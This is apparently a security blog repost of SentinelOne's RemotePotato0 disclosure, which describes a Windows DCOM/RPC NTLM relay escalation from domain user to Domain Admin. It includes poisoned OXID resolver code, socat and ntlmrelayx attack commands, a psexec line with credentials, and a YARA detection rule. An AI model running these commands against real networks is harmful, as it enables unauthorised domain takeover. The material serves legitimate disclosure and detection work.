RemotePotato0 is an exploit that allows you to escalate your privileges from a generic User to Domain Admin.
Briefly:
It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine. It is required you have a shell in session 0 (e.g. WinRm shell or SSH shell) and that a privileged user is logged on in the session 1 (e.g. a Domain Admin user). Once the NTLM type1 is triggered we setup a cross protocol relay server that receive the privileged type1 message and relay it to a third resource by unpacking the RPC protocol and packing the authentication over HTTP. On the receiving end you can setup a further relay node (eg. ntlmrelayx) or relay directly to a privileged resource.
Full details at –> https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop
Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol
Executive Summary
Introduction
NTLM relaying [1] is a well known technique that has long been abused by attackers. Despite the continuous “fixes” from 2001 onwards, it is still possible in a MITM scenario, for certain protocols where signing is not enabled, to intercept the NTLM messages and to “relay” the authentication to a target resource in order to elevate privileges. Normally, NTLM relays need user intervention, so you have to trick the victim to authenticate to a resource under your control.
In recent years [2] [3] [4], we conducted research into the so-called “DCOM DCE/RPC Local NTLM Reflection”, in particular when it comes to negotiating locally a SYSTEM token and impersonating it, thus leading to an elevation from a SERVICE account to SYSTEM.
Despite recent fixes, it is still possible under certain conditions to negotiate a highly privileged token and to impersonate it during the unmarshalling process of initializing a DCOM object, identified by particular CLSID, via the IStorage Object trigger [5].
During our earlier research, where we implemented a “fake” Oxid Resolver
instructing the DCOM client to connect to a RPC Server under our control, we observed that two interesting NTLM authentications took place:
IObjectExporter::ResolveOxid2
call)IRemUnknown2::RemRelease
call)We decided to investigate the possibility of relaying these authentications to a different resource on a remote machine such as LDAP, SMB, and HTTP instead of stealing the token which requires the impersonation privileges.
First of all, we needed a “usable” authentication, possibly coming from highly privileged users like “Domain Admins” and so on. Some particular CLSID
, belonging to application identifiers (AppId
) which run under the context of the “Interactive User” can come to the rescue, because they “impersonate” the logged on user in the first session when instantiated in session 0. This is really cool because no victim user interaction is required!
The basic idea was that a standard user could trigger the privileged authentication without the victim’s interaction and relay it to a privileged service on another machine, e.g. ldap server, in order to elevate the user privileges.
In order to understand if there was a potential exploitation path, we needed to answer the following questions:
In this post, we will go through the process of how we discovered answers to those questions and, step-by-step, show how we achieved an exploitation path. We went through a lengthy process of responsible disclosure with Microsoft before publishing. Although Microsoft considers the vulnerability an important privilege escalation, it has been classified as “Won’t Fix”.
The NTLM Auth Messages
Our idea was to use one of two authentications as described above. The first one (IObjectExporter::ResolveOxid2
) seemed unpromising because the NTLM “Sign flag” was set and we were not sure if the upper layer protocols would consider it or not.
The second one (IRemUnknown2::RemRelease
) met our expectations, and the flag was not set (more on this later…):
Now that we knew which authentication to use, the next step was to trigger and intercept it.
The RPC Trigger
It all started from this article [6] by James Forshaw, in which he discovered a way to abuse the the DCOM activation service by unmarshalling an IStorage
object and reflecting the NTLM back to a local RPC TCP endpoint to achieve a local privilege escalation. While this vulnerability has been patched, the DCOM activation service was (and still is) a working trigger for RPC authentications.
This is still the trigger of all the “*potato” exploits in order to escalate privileges by leveraging the impersonation privileges.
Nowadays, those exploits focus on stealing a token from a privileged service (usually those running as SYSTEM are of interest), but we know that some CLSID
(a way to identify COM class objects) impersonate the user connected to the first Session outside Session 0. [7]
If we have a shell in Session 0, even as a low privileged user, and trigger these particular CLSIDs, we will obtain an NTLM authentication from the user who is interactively connected (if more than one user is interactively connected, we will get that of the user with lowest session id).
So our hypothetical scenario could be the following:
WinRM-PSSession
[8] or ssh
[9]With that in mind, we focused on analyzing all the “vulnerable” CLSID that we could use to trigger this authentication. These are the ones we found on a Windows Server 2019:
BrowserBroker Class
AuthBrokerUI
Easconsent.dll
Authentication UI CredUI Out of Proc Helper for Non-AppContainer Clients
UserInfoDialog
CLSID_LockScreenContentionFlyout
Picker Host
IsolatedMessageDialogFactory
SPPUIObjectInteractive Class
CastServerInteractiveUser
Finding an Exploitation Path
Having found a perfect RPC trigger, we started to prepare all the pieces of our possible exploitation scenario.
First, we wanted to understand if we could relay this authentication in a cross protocol scenario, so we wrote a cpp
POC that performs a MITM between an RPC authentication and relay over an HTTP server that requires authentication, and guess what? It worked!
We were able to browse protected files on the webserver on behalf of the user who authenticated to our RPC server.
This was the workflow implemented in our MITM:
Once we identified that our RPC authentication could be relayed in a cross protocol scenario, we put together the final exploitation path:
IStorage
object, calling CoGetInstanceFromIstorage
with one of the CLSIDs
that impersonate the user logged on interactively and setting the IP of the attacker machine for Oxid resolution requests;135
on his machine, which will receive the IObjectExporter::ResolveOxid2
authenticated call and be forwarded to the “fake” Oxid resolver
. Even if this call is authenticated, the NTLM “Sign flag” is set so it will be skipped;Oxid resolver
returns a string binding for an RPC endpoint under the attacker’s control;IRemUnknown2::RemRelease
contacting the RPC server (without the Sign flag set);ntlmrelayx
a “minimalistic” RPC server with the impacket
libs [11].ntlmrelayx
[12], e.g. HTTP.RemotePotato0
). We then forwarded everything to ntlmrelayx
and let it do the job by targeting the LDAP server running on the Domain Controller and adding a new domain admin (or elevate user privileges).The following schema shows the entire attack flow:
Dealing with Signing Restrictions
Now that exploitation was successful, we tried to understand why the “Sign” flag was not set in IRemUnknown2
calls.
After several tests, we discovered that the poisoned response we give back from our fake Oxid Resolver
could influence the setting of the “Sign” flag. One of the fields returned by the Oxid resolver is the security bindings which tell the client which security provider is to be used with the authentication (AuthnSvc
).
MSRPC (Microsoft implementation of DCE/RPC protocol) supports a variety of “Security Providers”, including NTLM.
This is a list of the available security providers:
If the provider is set to NTLM (RPC_C_AUTHN_WINNT),
it won’t enforce the signing; if set to SPNEGO (RPC_C_AUTHN_GSS_NEGOTIATE)
,
it will. And this is what we did in order to use the correct provider in our poisoned response code:
(*ppdsaOxidBindings)->aStringArray[securityOffset]=RPC_C_AUTHN_WINNT;
We also know that in order to perform these types of attacks, the “Authentication Level” should be RPC_AUTHN_LEVEL_CONNECT (0x2)
because this defines an authentication mechanism without enforcing encryption/signing. We can define this kind of RPC authentication as “weak” and potentially vulnerable to relay attacks.
In our ResolveOxid2
, we can control this behavior by setting the desired authentication level in pAuthnHint
parameter, which returns the minimum accepted authentication level of the object exporter.
error_status_t ResolveOxid2
(
handle_t hRpc,
OXID* pOxid,
unsigned short cRequestedProtseqs,
unsigned short arRequestedProtseqs[],
DUALSTRINGARRAY** ppdsaOxidBindings,
IPID* pipidRemUnknown,
DWORD* pAuthnHint,
COMVERSION* pComVersion
)
{
*pAuthnHint = RPC_C_AUTHN_LEVEL_CONNECT;
And the client will make a call to the IRemUnkown2 interface at least with this level of authentication.
Note: if we set a higher value for the authentication level in the pAuthnHint
parameter, for example RPC_C_AUTHN_LEVEL_PKT
(0x4), the “Sign” flag will be set again!
Dealing with MIC Restrictions
We also performed a relaying test with SMB protocol on servers where signing was not enabled, and of course it worked, too.
We only ran into trouble with one particular CLSID: {c58ca859-80bc-48df-8f06-ffa94a405bff}
, when trying to relay because of the “BAD IMPERSONATION LEVEL”.
In this case, the NTLM “Identify” flag was set in the IRemUnknown2
call (which means that the server should not impersonate the client) and was taken into consideration by SMBv2 protocol.
But what if we alter this flag during our MITM operations? We tried to unset
the flag in the forwarded NTLM type 1 message:
and reset
it in the NTLM type 2 response message:
A quick test demonstrated that it worked!
Some days after, Microsoft released the November 2020 security patches and magically it stopped working. The SMB handshakes always ended up with a generic “INVALID PARAMETER” which was triggered by an invalid NTLM authentication.
After some testing, we discovered that the root cause was the Message Integrity Check (MIC). It seemed to be always checked, even if the NTLM “Sign” flag was not set [13], thus altering the NTLM messages led to a signature mismatch.
The Proof Of Concept
We have released a POC of the RemotePotato0 attack here:
https://github.com/antonioCoco/RemotePotato0
Example
Attacker machine (192.168.83.130)
sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.83.131:9998 &
sudo ntlmrelayx.py -t ldap://192.168.83.135 –no-wcf-server –escalate-user winrm_user_1
Victim machine (192.168.83.131)
.\RemotePotato0.exe -r 192.168.83.130 -p 9998
Victim Domain Controller (192.168.83.135)
Enjoy shell (eg. psexec) as Enterprise Admin to the domain controller
psexec.py ‘SPLINTER/winrm_user_1:Password111!@192.168.83.135’
Demo
Detection
Yara rule to detect RemotePotato0 binary:
rule SentinelOne_RemotePotato0_privesc {
meta:
author = “SentinelOne”
description = “Detects RemotePotato0 binary”
reference = “https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop”
strings:
$import1 = “CoGetInstanceFromIStorage”
$istorage_clsid = “{00000306-0000-0000-c000-000000000046}” nocase wide ascii
$meow_header = { 4d 45 4f 57 }
$clsid1 = “{11111111-2222-3333-4444-555555555555}” nocase wide ascii
$clsid2 = “{5167B42F-C111-47A1-ACC4-8EABE61B0B54}” nocase wide ascii
condition:
(uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
}
Kali Linux 2024.4, the final release of 2024, brings a wide range of updates and…
This Go program applies a lifetime patch to PowerShell to disable ETW (Event Tracing for…
GPOHunter is a comprehensive tool designed to analyze and identify security misconfigurations in Active Directory…
Across small-to-medium enterprises (SMEs) and managed service providers (MSPs), the top priority for cybersecurity leaders…
The free and open-source security platform SecHub, provides a central API to test software with…
Don't worry if there are any bugs in the tool, we will try to fix…